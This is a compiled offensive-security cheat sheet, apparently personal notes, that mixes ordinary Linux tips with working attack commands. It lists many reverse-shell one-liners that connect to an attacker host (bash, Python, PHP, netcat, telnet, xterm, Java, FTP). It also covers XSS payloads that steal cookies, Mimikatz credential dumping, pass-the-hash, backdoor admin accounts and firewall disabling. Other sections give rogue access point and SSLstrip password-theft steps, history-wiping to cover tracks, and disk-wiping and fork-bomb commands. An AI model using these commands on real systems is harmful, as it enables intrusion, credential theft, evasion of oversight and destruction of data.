*Exploit-DB search using CSV File:* searchsploit-rb -update searchsploit-rb -t webapps -s WEBAPP searchsploit-rb -search="Linux Kernel" searchsploit-rb -a "author name" -s "exploit name" searchsploit-rb -t remote -s "exploit name" searchsploit-rb -p linux -t local -s "exploit name" *For Privilege Escalation Exploit search:* cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3
Commands - Windows Buffer Overflow - More
*GDB Debugger Commands:* Setting Breakpoint : break *_start *Execute Next Instruction:* next step n s *Continue Execution :* continue c *Data :* checking 'REGISTERS' and 'MEMORY' Display Register Values : (Decimal , Binary , Hex ) print /d -> Decimal print /t -> Binary print /x -> Hex O/P : (gdb) print /d $eax $17 = 13 (gdb) print /t $eax $18 = 1101 (gdb) print /x $eax $19 = 0xd (gdb) *Display values of specific memory locations :* command : x/nyz (Examine) n -> Number of fields to display ==> y -> Format for output ==> c (character) , d (decimal) , x (Hexadecimal) z -> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit)
Reverse Shellcode - Related Commands - JAVA
*JAVA:* r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.0.100/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
Linux - Commands - Using lsof
*List all IPv4 network files* sudo lsof -i4 *List all IPv6 network files* sudo lsof -i6 *To find listening ports*: lsof -Pnl +M -i4 *To find which program is using the port 80*: lsof -i TCP:80 *List all processes accessing a particular file/directory* lsof </path/to/file> *List all files open for a particular user* lsof -u <username> *List all files/network connections a given process is using* lsof -c <command-name> *See this primer: http://www.danielmiessler.com/study/lsof/ for a number of other useful lsof tips*
Windows - Useful Commands- Part 4
*More on Nslookup* *nslookup some host* - will lookup that host in DNS based on your localhost's DNS configuration *nslookup* - starts nslookup in interactive mode set type=any - configures nslookup to pull down all DNS information including MX, A, CNAME, NS, and PTR. *ls -d example.com* - if the server allows it, does a zone transfer of example.com *ls -t example.com* - will give a list of member servers from the domain
Random Commands <sort and replace>
*Mount Usb disk as user writable*: mount -o uid=username,gid=usergroup /dev/sdx /mnt/xxx *View which users/processes are listening to which ports*: sudo sockstat -l *Disable the terminal refresh when exiting* less -X *View neighbors (using ARP and NDP)* ip neighbor show
Tools - More Random, useful Scans. *Organize Soon*
*Netcat Scanning:* nc -v -w 1 target -z 1-1000 for i in {10..12}; do nc -vv -n -w 1 192.168.34.$i 21-25 -z; done *US Scanning:* us -H -msf -Iv 192.168.31.20 -p 1-65535 && us -H -mU -Iv 192.168.31.20 -p 1-65535 *Unicornscan Scanning:* unicornscan X.X.X.X:a -r10000 -v *Kernel Scanning with xprobe:* xprobe2 -v -p tcp:80:open 192.168.6.66
Windows - Useful Commands- Part 3
*Network Reconnaissance* *netstat -nao* - show all current network activity, including PID's *netsh firewall show config* - display windows firewall configuration *ipconfig /displaydns* - systems this host has recently resolved through DNS *arp -a* - systems on the same subnet this host has recently communicated with *nslookup* - all purpose DNS query tool
Tools - NMap Scans
*Nmap Ports Scan:* *1)*decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys) *2)*fargement *3)* data packed - like original one not scan packet *4)* use auxiliary/scanner/ip/ipidseq for find zombie ip in network to use them to scan — nmap -sI ip target *5)* nmap -source-port 53 target *[-]* nmap -sS -sV -D IP1,IP2,IP3,IP4,IP5 -f -mtu=24 -data-length=1337 -T2 target ( Randomize scan form diff IP) *[-]* nmap -Pn -T2 -sV -randomize-hosts IP1,IP2 *[-]* nmap -script smb-check-vulns.nse -p445 target (using NSE scripts) *[-]* nmap -sU -P0 -T Aggressive -p123 target (Aggresive Scan T1-T5) *[-]* nmap -sA -PN -sN target *[-]* nmap -sS -sV -T5 -F -A -O target (version detection) *[-]* nmap -sU -v target (Udp) *[-]* nmap -sU -P0 (Udp) *[-]* nmap -sC 192.168.31.10-12 (all scan default)
More Random Commands - Sort
*PID:* fuser -nv tcp 80 (list PID of process) fuser -k -n tcp 80 (Kill Process of PID) *Hydra:* hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp (Self Explanatory) *Mount Remote Windows Share:* smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw *Compiling Exploit in Kali:* gcc -m32 -o output32 hello.c (32 bit) gcc -o output hello.c (64 bit) *Compiling Windows Exploits on Kali:* cd /root/.wine/drive_c/MinGW/bin wine gcc -o ability.exe /tmp/exploit.c -lwsock32 wine ability.exe *NASM Command:* nasm -f bin -o payload.bin payload.asm nasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload
More Random Commands to Sort
*Passing the Hash:* pth-winexe -U hash //IP cmd *Password Cracking using Hashcat:* hashcat -m 400 -a 0 hash /root/rockyou.txt *Netcat commands:* c:> nc -l -p 31337 #nc 192.168.0.10 31337 c:> nc -v -w 30 -p 31337 -l < secret.txt #nc -v -w 2 192.168.0.10 31337 > secret.txt *Banner Grabbing:* nc 192.168.0.10 80 GET / HTTP/1.1 Host: 192.168.0.10 User-Agent: SPOOFED-BROWSER Referrer: K0NSP1RACY.COM <enter> <enter>
Random Commands - SORT
*Plink Tunnel:* plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 X.X.X.X *Enable RDP Access:* reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0 netsh firewall set service remoteadmin enable netsh firewall set service remotedesktop enable *Turn Off Firewall:* netsh firewall set opmode disable *Meterpreter:* run getgui -u admin -p 1234 run vnc -p 5043 *Add User Windows:* net user test 1234 /add net localgroup administrators test /add *Mimikatz:* privilege::debug sekurlsa::logonPasswords full
Linux - Tools - Basic Vi commands
*Quit* - :w newfilename save the file to newfilename :wq or :x save and quit :q! quit without saving *Search and move* - /string Search forward for string ?string Search back for string n Search for next instance of string N Search for previous instance of string { Move a paragraph back } Move a paragraph forward 1G Move to the first line of the file nG Move to the n th line of the file G Move to the last line of the file :%s/OLD/NEW/g Search and replace every occurrence *Delete copy paste text* - dd (dw) Cut current line (word) D Cut to the end of the line x Delete (cut) character yy (yw) Copy line (word) after cursor P Paste after cursor u Undo last modification U Undo all changes to current line
Windows Commands - Reverse shell Using FTP
*Reverse shell using FTP* echo OPEN evilhost.example.com > ftp.txt & echo USER haxeduser >> ftp.txt & echo haxedpw >> ftp.txt & echo PUT output.txt >> ftp.txt & echo DELETE commands.txt >> ftp.txt & echo BYE >> ftp.txt & for /L %i in (1,0,2) do (ftp -n -s:ftp.txt & del output.txt & (for /F "delims=^" %j in (commands.txt) do cmd.exe /c %j l>output.txt & del commands.txt) & ping -n 4 127.0.0.1) *Explanation of FTP Reverse Shell* *This command will be run on a compromised host* *The command will connect to our host "evilhost" as user "haxeduser" and password "haxedpw"* *Next it will upload the content of "output.txt" to evilhost* *Finally it will download "commands.txt" from evilhost, and run whatever is inside* *All of this is done in an infinite loop* *As long as the commands in "commands .txt" direct their output to "output.txt" evilhost will get the results*
Scans - Enumeration Examples
*SNMP ENumeration:* snmpget -v 1 -c public IP version snmpwalk -v 1 -c public IP snmpbulkwalk -v 2 -c public IP *Samba Enumeartion:* nmblookup -A target smbclient //MOUNT/share -I target -N rpcclient -U "" target enum4linux target
Common Pivoting Commands
*SSH Pivoting:* ssh -D 127.0.0.1:1080 -p 22 user@IP Add socks4 127.0.0.1 1080 in /etc/proxychains.conf proxychains commands target *Pivoting to One Network to Another:* ssh -D 127.0.0.1:1080 -p 22 user1@IP1 Add socks4 127.0.0.1 1080 in /etc/proxychains.conf proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2 Add socks4 127.0.0.1 1081 in /etc/proxychains.conf proxychains commands target *Pivoting Using metasploit:* route add 10.1.1.0 255.255.255.0 1 route add 10.2.2.0 255.255.255.0 1 use auxiliary/server/socks4a run proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E
Tutorials - Rogue AP Commands - Creating an Invisible Rogue Access Point to Siphon Off Data Undetected
*Step 1*: Change the Wireless Adapter's Regulatory Domain Japan allows channels 1-14, if access point is set to use the Japanese regulatory domain, you will be able to communicate on channels 12, 13, and 14, in addition to the U.S.' 1-1: iw reg set JP iwconfig wlan0 channel 13 iwconfig *Step 2*: Put the Wireless Adapter into Monitor Mode airmon-ng start wlan0 *Step 3*: Create the Access Point: The aircrack-ng tools include airbase-ng, used to create an AP from your wireless adapter: airbase-ng -c 13 mon0 -c 13 designates that it will communicate on channel 13 mon0 designates the wireless adapter to use to create the AP *Step 4*: Bridge the AP to the Wired Network: Now that we've created an AP, we need to connect it to the target's wired network. In this way, traffic through the AP will go directly onto the internal network and bypass all its security, including any firewall or intrusion detection system. First, open a new terminal, create a bridge, and name it "Target-Bridge". We do this by typing: brctl addbr Target-Bridge *Step 5*: Add the Interfaces to the Bridge: After creating the bridge, we need to connect both interfaces, one for the internal wired network, eth0, and the other from the virtual interface from our AP, at0, to our bridge. We can do this by typing: brctl addif Target-Bridge eth0 brctl addif Target-Bridge at0 *Step 6*: Bring the Interfaces Up We need to now bring up or activate the interfaces. ifconfig eth0 0.0.0.0 up ifconfig at0 0.0.0.0 up *Step 7*: Enable IP Forwarding Linux has a built-in feature for forwarding traffic or IP forwarding in the kernel. We can do this by: echo 1 > /proc/sys/net/ipv4/ip_forward *Step 8*: Navigate the Internal Network Now, after connect to the new invisible AP (you need to enable channel 13 on your wireless adapter), you will have access to the entire, internal network.
Linux and Unix Tools - Using EMACS - Part 4 - More Stuff
*Sudoing within eshell* By default when using the sudo command within eshell you'll just get "permission denied" messages. To overcome that type: alias sudo '*sudo $*' *Line numbers* To add line numbers and enable moving to a line with CTRL-l: (global-set-key "\C-l" 'goto-line) (add-hook 'find-file-hook (lambda () (linum-mode 1))) *Org-mode* To begin org-mode ALT-x org-mode Table column separator Vertical/pipe character Reorganize table TAB Section heading * Open/collapse section TAB Open/collapse All CTRL-TAB Export in other file formats (eg HTML,PDF) CTRL-c CTRL-e *To make org-mode automatically wrap lines*: (add-hook 'org-mode-hook '(lambda () (visual-line-mode 1)))
Quickly transfer files between host and server using scp and rsync
*To copy a file from your local machine to a remote server*: scp foo.txt [email protected]:remote/dir *To copy a file from a remote server to your local machine*: scp [email protected]:remote/dir/foo.txt local/dir *copy files from remote to local , maintaining file propertires and sym-links (-a), zipping for faster transfer (-z), verbose (-v).* rsync -avz host:file1 :file1 /dest/ rsync -avz /source host:/dest *Copy files using checksum (-c), rather than time, to detect if the file has changed. (Useful for validating backups).* rsync -avc /source/ /dest/
Even More Random Commands - Sort
*Windows reverse shell:* c:>nc -Lp 31337 -vv -e cmd.exe nc 192.168.0.10 31337 c:>nc rogue.k0nsp1racy.com 80 -e cmd.exe nc -lp 80 #nc -lp 31337 -e /bin/bash nc 192.168.0.11 31337 nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000 *Find all SUID root files:* find / -user root -perm -4000 -print *Find all SGID root files:* find / -group root -perm -2000 -print *Find all SUID and SGID files owned by anyone:* find / -perm -4000 -o -perm -2000 -print *Find all files that are not owned by any user:* find / -nouser -print *Find all files that are not owned by any group:* find / -nogroup -print *Find all symlinks and what they point to:* find / -type l -ls
XSS Commands Cheat-Sheet (Revise)
*XSS Cheat Codes:* ("< iframes > src=http://IP:PORT </ iframes >") <script>document.location=http://IP:PORT</script> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//-></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> ";!-"<XSS>=&amp;{()} <IMG SRC="javascript:alert('XSS');"> <IMG SRC=javascript:alert('XSS')> <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> <IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;> <IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041> <IMG SRC="jav ascript:alert('XSS');"> perl -e 'print "<IMG SRC=javascript:alert(\"XSS\")>";' > out <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> ( ">< iframes http://google.de < iframes >) <BODY BACKGROUND="javascript:alert('XSS')"> <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> "><script >alert(document.cookie)</script> %253cscript%253ealert(document.cookie)%253c/script%253e "><s"%2b"cript>alert(document.cookie)</script> %22/%3E%3CBODY%20onload='document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E <img src=asdf onerror=alert(document.cookie)>
Reverse Shellcode - Related Commands - XTERM
*XTERM:* Start an open X Server on your system (:1 - which listens on TCP port 6001). One way to do this is with Xnest: It is available on Ubuntu. # Note: The command starts with uppercase X *Authorize on your system the target IP to connect to you:* xterm -display 127.0.0.1:1 # Run this OUTSIDE the Xnest, another tab xhost +targetip # Run this INSIDE the spawned xterm on the open X Server xterm -display 127.0.0.1:1 # Run this OUTSIDE the Xnest, another tab xhost +targetip # Run this INSIDE the spawned xterm on the open X Server If you want anyone to connect to this spawned xterm try: xhost + # Run this INSIDE the spawned xterm on the open X Server xhost + # Run this INSIDE the spawned xterm on the open X Server *Then on the target, assuming that xterm is installed, connect back to the open X Server on your system:* xterm -display attackerip:1 xterm -display attackerip:1 *Or:* $ DISPLAY=attackerip:0 xterm $ DISPLAY=attackerip:0 xterm It will try to connect back to you, attackerip, on TCP port 6001. Note that on Solaris xterm path is usually not within the PATH environment variable, you need to specify its filepath: /usr/openwin/bin/xterm -display attackerip:1 /usr/openwin/bin/xterm -display attackerip:1
Tools - NMap - Web Vulnerability Scans, using Vulnscan nmap Scripts
*[-]* mkdir /usr/share/nmap/scripts/vulscan *[-]* cd /usr/share/nmap/scrripts/vulscan *[-]* wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz *[-]* nmap -sS -sV -script=vulscan/vulscan.nse target *[-]* nmap -sS -sV -script=vulscan/vulscan.nse -script-args vulscandb=scipvuldb.csv target *[-]* nmap -sS -sV -script=vulscan/vulscan.nse -script-args vulscandb=scipvuldb.csv -p80 target *[-]* nmap -PN -sS -sV -script=vulscan -script-args vulscancorrelation=1 -p80 target *[-]* nmap -sV -script=vuln target *[-]* nmap -PN -sS -sV -script=all -script-args vulscancorrelation=1 target
Linux - Commands - Security
*find programs with a set uid bit* # find / -uid 0 -perm -4000 *find things that are world writable* # find / -perm -o=w *find names with dots and spaces, there shouldn't be any* # find / -name " " -print # find / -name ".." -print # find / -name ". " -print # find / -name " " -print *find files that are not owned by anyone* # find / -nouser *look for files that are unlinked* # lsof +L1 *get information about procceses with open ports* # lsof -i *look for weird things in arp* # arp -a *look at all accounts including AD* # getent passwd *look at all groups and membership including AD* # getent group *list crontabs for all users including AD* # for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done *generate random passwords* cat /dev/urandom| tr -dc 'a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?='|fold -w 12| head -n 4 *find all immutable files, there should not be any find* . | xargs -I file lsattr -a file 2>/dev/null | grep '^....i' *fix immutable files* chattr -i file
SSH Commands Reference - Cheatsheet Part 5 - Copying & Moving Files
- Move (rename) the file configuration.php-dist to configuration.php: *mv configuration.php-dist configuration.php* - Use mv to move a whole directory and its content: mv includes/* ./ - update the files and move only files that were changed by passing '-u' as argument to the command: *mv -u includes/* admin/includes* - The copy cp command works the same way as mv, but instead of moving the files/folders it copies them. Example: *cp configuration.php-dist configuration.php* - cp also accepts various arguments. -R instructs cp to copy files recursively: *cp -R includes/ includes_backup/* - To overwrite already existing files you should use the -f argument: *cp -Rf includes/ admin/includes/*
Post Exploitation Commands - Some interesting commands you might find useful to memorize.
--- Blind Files (things to pull when all you can do is blindly read) LFI/dir traversal (Don't forget %00!) --- * /etc/passwd - List of Local Users * /etc/shadow - List of users' passwords' hashes (requires root) * /home/xxx/.bash_history - Will give you some directory context --- System - * uname -a Prints the kernel version, arch, sometimes distro, ... * ps aux - List all running processes * w - who is connected, uptime and load avg * mysql --version - Returns the version of MySQL. * df -k - mounted fs, size, % use, dev and mount point * last -a - Last users logged on * which tool - locate a command (ie nmap or nc) --- Interesting Networking Commands - * hostname -f * cat /etc/network/interfaces * iptables -L -n -v * iptables -t nat -L -n -v * netstat -anop * netstat -nltupw (root with raw sockets)
Post Exploitation Commands PART 6 - Windows Box
--- Commands for a Windows Box - * ps aux - List of running processes * id - List current user and group along with user/group id * who -a - Print information about users --- Deleting and Destroying - (If it is necessary to leave the machine inaccessible or unusable) Note that this tends to be quite evident (as opposed to a simple exploitation that might go unnoticed for some time, even forever), and will most surely get you into troubles. Oh, and you're probably a jerk if you use any of the stuff below. * rm -rf / - This will recursively try to delete all files. * mkfs.ext3 /dev/sda - Reformat the device mentioned, making recovery of files hard. * dd if=/dev/zero of=/dev/sda bs=1M - Overwrite disk /dev/sda with zeros --- Execute a Remote Script - * wget http://server/file.sh -O- | sh - This command forces the download of a file and immediately its execution, can be exploited easily using or reverse shit * Forkbomb - :(){:|:&};: -The [in]famous "fork bomb". This command will cause your system to run a large number of processes, until it "hangs". This can often lead to data loss (e.g. if the user brutally reboots, or the OOM killer kills a process with unsaved work).
Post Exploitation Commands PART 3
--- Important Files - * ls -dlR */ # * ls -dl `find /var -type d` | grep -v root * find /var ! -user root -type d -ls * find / -perm -4000 (find all suid files) * find /home -type f -iname '.*history' * locate settings | grep [.]php$ * ls /home/*/id* * find /sbin /usr/sbin /opt /lib `echo $PATH | 'sed s/:/ /g'` -perm /6000 -ls # find suids * locate rhosts --- Covering Tracks - - Avoiding history filesmys ------ * export HISTFILE= or * unset HISTFILE - This next one might not be a good idea, because a lot of folks know to check for tampering with this file, and will be suspicious if they find out: However if you happen to be on an account that was originally inaccessible, if the .bash_history file is available (ls -a ~), viewcating its contents can provide you with a good deal of information about the system and its most recent updates/changes. - Clear history in ram - * history -c * rm -rf ~/.bash_history && ln -s ~/.bash_history /dev/null (invasive) * touch ~/.bash_history (invasive) * <space> history -c (using a space before a command) * zsh% unset HISTFILE HISTSIZE * bash$ set +o history * find / -type f -exec {} (forensics nightmare) Note that you're probably better off modifying or temporary disabling rather than deleting history files, it leaves a lot less traces and is less suspect.
Post Exploitation Commands PART 5
--- Maintaining Control - Reverse Shells - Starting list sourced from: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet * bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 (No /dev/tcp on older Debians, but use nc, socat, TCL, awk or any interpreter like Python, and so on.). * python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("10.0.0.1",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);' * php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' * rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f * ssh -NR 3333:localhost:22 user@yourhost * nc -e /bin/sh 10.0.0.1 1234
Post Exploitation Commands PART 2
--- User Account info - * password hashes in /etc/shadow on Linux * all accounts: getent passwd - should dump local, LDAP, NIS, whatever the system is using * Samba's own database: pdbedit -L -w or pdbedit -L -v * NIS accounts: ypcat passwd - displays NIS password file --- Credentials - * SSH keys, often passwordless: /home/*/.ssh/id* * PGP keys: /home/*/.gnupg/secring.gpgs --- Configurations - * ls -aRl /etc/ | awk '$1 ~ /w.$/' | grep -v lrwx 2>/dev/nullte * cat /etc/issue{,.net} * cat /etc/master.passwd * cat /etc/crontab * cat /etc/sysctl.conf * for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done # (Lists all crons) * cat /etc/syslog.conf * cat /etc/inetd.conf * find /etc/sysconfig/ -type f -exec cat {} \; --- Installed Packages - * rpm -qa --last | head * yum list | grep installed * dpkg -l | grep -i "linux-image" (in Debian) * {Free,Net}BSD: pkg_info * cd /var/db/pkg/ && ls -d */* (Gentoo)
Linux - Commands - File Testing Options for 'find' command
-amin n: Specifies that the last time the file was accessed, was n minutes ago. Ex: -amin 20: File must have been accessed exactly 20 minutes ago. -amin +30: File must have been access at most 30 minutes ago. -atime n: File should have been accessed n*24 hours ago. n is days. -mmin n: File should have been accessed n minutes ago -executable | -readable | -writable: Matches any files that has specific access writes. -iname nAmE: Specifies that the name of the file should match nAmE if the case is ignored. Case-insensitive matching. -regex pattern: Matches pattern as a regular expression against the specified pathname. Examples: Find files directly under the /etc/ directory that start with 'p' and end in anything: find / regex '^/etc/p[a-z]*$' Find all files on filesystem that are called configuration, and ignore case, and allow accommodating abbreviations such as config, cnfg, confg, etc: find / -regex '^[/a-z+_]*[cC]+[Oo]*[nN]+[fF]+[iI]*[gF]+$'
Linux - Commands - More Action Arguments used with the 'find' command
-delete: Forces the 'find' command to delete any file which returns as True, from the given specifications. Ex - find and delete anything reachable one level from root, that is named something like Virus - case-insensitive - find / -regex '^/[a-z_\-]*/[Vv][iI][rR[uS]*$' -delete -exec: Specify an arbitrary command to execute on all files found. (more later) -execdir: Same as above, but will isolate the execution of specified command to the directory of the matching file. -print0: Print the file's full name to standard output. Will terminate files with null/0x0 characters, to allow file names to have new lines -ls: Lists current file by executing ls -dils and the output is printed to standard output.
Linux - Commands - Directory Traversal Options for the 'find' command
-maxdepth n: Tests must only be applied to entries in directories at most 'n' levels below current directory. -mindepth n: Like above, but reverse - files at depth of at least n directories. -mount: Keeps the 'find' command from checking through other filesystems. -daystart: Forces any -amin, -atime, -cmin, -ctime or equivalent time-related tests to use the time starting from the beginning of the current day, as opposed to 24 hours ago.
Linux - File System - Part 2
/lost+found - Files that were saved during failures are here. /mnt - Standard mount point for external file systems. /media - Mount point for external file systems (on some distros). /net - Standard mount point for entire remote file systems - nfs.
Tools - Using SSLStrip - Basics
1. Setting it up: echo 1 > /proc/sys/net/ipv4/ip_forward 2. ARP MITM attack between Victim and Gateway: arpspoof -i eth0 -t 192.168.1.6 192.168.1.1 3. Setting up port redirection using Iptables: iptables -t nat -A PREROUTING -p tcp -destination-port 80 -j REDIRECT -to-ports 10000 4. Start the SSLstrip tool and have it listen to port 10000 python sslstrip.py -w secret Once this setup is up and running perfectly, all of our victim's traffic will be routed through us. In particular, HTTP traffic will be redirected to our port 10000, where SSLstrip is listening. After this we will be able to eavesdrop and steal all of the victim's passwords sent supposedly over "SSL"
Tools - Screen - Useful stuff
All screen commands start with Ctrl-a * Detach Terminal - Ctrl+A Ctrl+D * Re-attach a Terminal - screen -R -D * Help and summary of functions Ctrl-a ? * create an new window (terminal) Ctrl-a c * switch to the next or previous window in the list, by number Ctrl-a Ctrl-n and Ctrl-a Ctrl-p * Get a navigable list of running windows Ctrl-a " * disconnect and leave the session running in the background Ctrl-a Ctrl-d
Reverse Shells - Several different examples - Part 2
Bash: bash -i & /dev/tcp/10.0.0.1/8080 0 &1 PHP: php -r '$sod:~fsockopen("10.0.0.1", 1234) ;exec("/bin/sh -i& 3 &3 2 &3");' Telnet: rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p --OR-- telnet attackerip 4444 | /bin/bash | telnet attackerip 4445 XTerm: xterm -display 10.0.0.1:1 o Start Listener: Xnest :1 0 Add Permission to connect: xhost +victimIP
Linux - Tools - More TCPDump Commands
Capture Packets on Eth0 in ASCII and HEX and Write to File: tcpdump -i eth0 -XX -w out.pcap Capture HTTP Traffic to 2.2.2.2: tcpdump -i eth0 port 80 dst 2.2.2.2 Show Connections to a Specific IP: tcpdump -i eth0 -tttt dst 192.168.1.22 and not net 192.169.1.0/24 Print all Ping Responses: tcpdump -i eth0 'icmp[icmptype] == icmp-echoreply' Capture 50 DNS Packets and Print Timestamp: tcpdump -i eth0 -c 50 -tttt 'udp and port 53'
Linux - Tools - X11
Capture Remote x11 Windows and Convert to Jpg -- xwd -display ip:0 -root -out /tmp/test.xpm xwud -in /tmp/test1.xpm convert /tmp/test.xpm -resize 1280x1024 /tmp/test.jpg Open x11 Stream Viewing -- xwd -display 1.1.1.1:0 -root -silent -out x11dump read dumped file from xwudtopnm or GIMP
Linux - Processes - Priority
Change the priority of a running process with renice. Negative numbers have a higher priority, the lowest is -20 and "nice" have a positive value. * Stronger priority: renice -5 586 586: old priority 0, new priority -5 Start the process with a defined priority with nice. Positive is "nice" or weak, negative is strong scheduling priority. Make sure you know if /usr/bin/nice or the shell built-in is used (check with # which nice). * Stronger priority (/usr/bin/nice): nice -n -5 top * Weaker priority (/usr/bin/nice): nice -n 5 top * tcsh builtin nice (same as above!): nice +5 top While nice changes the CPU scheduler, an other useful command ionice will schedule the disk IO. This is very useful for intensive IO application (e.g. compiling). You can select a class (idle - best effort - real time), the man page is short and well explained. * set idle class for pid 123 (Linux only): ionice c3 -p123 * Run firefox with best effort and high priority: ionice -c2 -n0 firefox * Set the actual shell to idle priority: ionice -c3 -p$$ Every command launched from this shell will have a lover priority. $$ is your shell pid (try echo $$). FreeBSD uses idprio/rtprio (0 = max priority, 31 = most idle): * compile in the lowest priority: idprio 31 make * set PID 1234 with lowest priority: idprio 31 -1234 * -t removes any real time/idle priority: idprio -t -1234
Commands - Aircrack-NG - Basic Usage 1
Common Aircrack-ng commands - *Inject* - aireplay-ng -3 -b <bssid MAC address> -h <source MAC address> ath0 aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:46:11:19 ath0 *Fake Authentication Commands* aireplay-ng -1 0 -e <SSID> -a <bssid MAC address> -h <source MAC address> ath0 aireplay-ng -1 0 -e linksys-a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0 *Same as above, but alternative for stubborn routers* aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0
Linux Tips - Find Files with a text pattern
In this case, it's "hello" - find . -iname "*.txt" -exec grep -l "hello" {} +
SSH - Local Forwarding
Make services on the remote network accessible to your host via a local listener. Remember that you need to be root to bind to TCP port <1024 Example 1 - The service running on the remote host on TCP port 1521 is accessible by connecting to 10521 on the SSH client system: ssh -L 127.0.0.1:10521:127.0.0.1:1521 [email protected] Then, in ~/.ssh/config, add: LocalForward 127.0.0.1:10521 127.0.0.1:1521 Example 2 - Same thing, but other hosts on the same network as the SSH client can also connect to the remote service (can be insecure). ssh -L 0.0.0.0:10521:127.0.0.1:1521 10.0.0.1 Then in ~/.ssh/config, add: LocalForward 0.0.0.0:10521 127.0.0.1:1521 Example 3 - In this example, 10.0.0.99 is a host that's accessible from the SSH server. We can access the service it's running on TCP port 1521 by connecting to 10521 on the SSH client. ssh -L 127.0.0.1:10521:10.0.0.99:1521 10.0.0.1 Then in ~/.ssh/config, add: LocalForward 127.0.0.1:10521 10.0.0.99:1521
Reverse Shellcode - Related Commands - NETCAT and TELNET
NETCAT: Other possible Netcat reverse shells, depending on the Netcat version and compilation flags: nc -e /bin/sh attackerip 4444 nc -e /bin/sh 192.168.37.10 443 If the -e option is disabled, try this mknod backpipe p && nc 192.168.23.10 443 0<backpipe | /bin/bash 1>backpipe mknod backpipe p && nc attackerip 8080 0<backpipe | /bin/bash 1>backpipe /bin/sh | nc attackerip 4444 /bin/sh | nc 192.168.23.10 443 rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/ rm -f /tmp/p; mknod /tmp/p p && nc 192.168.23.10 444 0/tmp/ If you have the wrong version of netcat installed, try rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.23.10 >/tmp/f rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f TELNET: If netcat is not available or /dev/tcp mknod backpipe p && telnet attackerip 8080 0<backpipe | /bin/bash 1>backpipe mknod backpipe p && telnet attackerip 8080 0<backpipe | /bin/bash 1>backpipe
WEB RESOURCES 001 - Hacking / Linux / Code Webpages and Online Resources! Will be added to regularly -
ONLINE - TOOLS - * Image EXIF Viewer - http://regex.info/exif.cgi * Check domain for malware/blacklists - http://sitecheck.sucuri.net/ * TONS of different tools for everything - http://manytools.org/ LINUX / BASH - * BASH Terminal Commands List - http://ss64.com/bash/ * BASH Syntax - http://ss64.com/bash/syntax.html Pages on General Hacking - http://ultimatepeter.com/ (Ongoing Entry - Please Add to)
SSH Commands Reference - Cheatsheet Part - Putting Commands Together
